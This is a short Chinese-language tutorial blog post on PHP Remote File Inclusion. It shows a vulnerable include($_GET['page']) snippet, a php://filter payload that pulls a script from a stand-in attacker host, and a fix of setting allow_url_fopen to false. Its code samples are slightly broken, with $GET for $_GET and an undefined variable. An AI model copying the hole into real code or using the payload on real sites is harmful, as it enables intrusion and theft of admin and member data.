2013
Jul
07
Remote File Inclusion 的縮寫是 「RFI」,這是指駭客透過外部檔案,來攻擊 Web 系統。
駭客可以先找一個網站空間,建立一個 PHP 的檔案,然後藉由輸入特殊的路徑,讓你的系統去載入這個 PHP,再透過 PHP Script 取得管理員的帳號; 密碼,或是會員資料。
Remote file 路徑
php include 漏洞範例
- <?php
- $page = $_GET['page'];
- include $page;
假如我們傳入上述的路徑,那麼頁面就會去執行 http://hack.com.tw/hackCode.php 這駭客寫好的 PHP 程式,而且任何 PHP Script 都會執行。
PHP Filter
php filter 漏洞範例
- $content = file_get_contents($GET['file']);
- echo $content. "\n";
- $f = fopen($a, 'r');
- while (!feof($f)) {
- $s = fgets($f);
- echo $s;
- }
- echo readFile($a) . "\n";
- php://filter/resource=http://hack.xx.com.tw/test.php
除了直接輸入外部 PHP 路徑之外,PHP 還有一個 Filter 的功能,可以直接去擷取一個 PHP 檔案的內容,上面的語法,將會把 「http://hack.xx.com.tw/test.php」的檔案回傳。
防護 RFI
PHP 中有此淈洞的 function 如下 : include , include_once, fopen, file_get_contents, require, require_once.
透過修改 PHP ini 的設定 「allow_url_fopen」,這個值可以決定 PHP 是否可以載入外部的 PHP Script ,我們可以設定 allow_url_fopen = false ,來防止相關的攻擊。
回應 (Leave a comment)